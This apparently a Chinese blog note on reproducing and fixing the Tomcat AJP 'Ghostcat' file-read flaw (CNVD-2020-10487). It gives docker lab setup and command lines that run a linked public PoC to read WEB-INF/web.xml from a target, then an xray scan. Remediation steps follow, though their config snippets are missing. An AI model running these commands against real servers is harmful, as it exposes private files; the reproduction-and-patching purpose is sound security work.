作者:隆威SU_486 | 来源:互联网 | 2023-09-13 14:17
影响版本:
Apache Tomcat 9.x <9.0.31
Apache Tomcat 8.x <8.5.51
Apache Tomcat 7.x <7.0.100
Apache Tomcat 6.x
环境搭建
docker-compose build
docker-compose up -d
环境启动后
复现python2
python poc.py ip -p 端口 -f WEB-INF/web.xml
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.253.168 -p 8009 -f WEB-INF/web.xml
poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
复现测试长亭xray
xray_windows_amd64.exe servicescan --target 192.168.253.168:8009
修复:
1. 如果未使用 Tomcat AJP 协议:
如果确定未使用 Tomcat AJP 协议,则可以直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复。
而对于确定未使用 Tomcat AJP 协议,但无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost。
具体步骤:
(1)编辑 /conf/server.xml,找到如下行( 为 Tomcat 的工作目录):
(2)将此行注释掉(或直接删掉此行):
(3)更改完毕后,重启 Tomcat 即可。
除以上措施外,当然也可以采用防火墙等办法以阻止不可信任的来源访问 Tomcat AJP Connector 端口。
2. 如果使用了 Tomcat AJP 协议:
如果确定服务器环境中使用到了 Tomcat AJP 协议,则建议将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本,同时为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证。
例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
而对于无法进行版本更新、或者是更老版本的用户,则建议为 AJP Connector 配置 requiredSecret 来设置 AJP 协议认证凭证。例如(注意必须将 YOUR_TOMCAT_AJP_SECRET 更改为一个安全性高、无法被轻易猜解的值):
参考链接:
https://www.chaitin.cn/zh/ghostcat
https://www.cnvd.org.cn/webinfo/show/5415
https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ